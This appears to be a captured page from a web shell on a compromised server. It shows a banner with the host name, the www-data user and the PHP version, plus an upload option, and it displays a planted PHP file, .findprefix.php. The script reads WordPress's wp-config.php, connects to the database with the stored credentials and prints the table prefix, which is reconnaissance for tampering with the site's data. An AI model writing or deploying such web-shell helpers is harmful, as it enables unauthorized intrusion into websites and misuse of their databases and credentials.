HEX
Server: nginx/1.18.0
System: Linux mail.dakarash.co.id 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User: www-data (33)
PHP: 8.1.2-1ubuntu2.23
Disabled: NONE
Upload Files
File: //proc/thread-self/cwd/.findprefix.php
<?php
header("Content-Type: text/plain; charset=UTF-8");
define("WP_USE_THEMES", false);
@include __DIR__."/wp-config.php";
if(!defined("DB_NAME")){ echo "ERR: no wp-config\n"; exit; }
$lnk=@mysqli_connect(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
if(!$lnk){ echo "ERR: db connect\n"; exit; }
$pref = "";
$best = null;
$q = mysqli_query($lnk, "SHOW TABLES");
while($q && ($r=mysqli_fetch_row($q))){
  $t=$r[0];
  if(substr($t,-8)==="options"){  // *_options
    $p = substr($t,0,-8);
    // ambil kandidat dengan suffix "_" kalau ada
    if(substr($p,-1)==="_"){ $best=$p; break; }
    if(!$best) $best=$p;
  }
}
mysqli_close($lnk);
if(!$best){ echo "FOUND_PREFIX=\n"; exit; }
if(substr($best,-1)!=="_") $best.="_";
echo "FOUND_PREFIX=".$best."\n";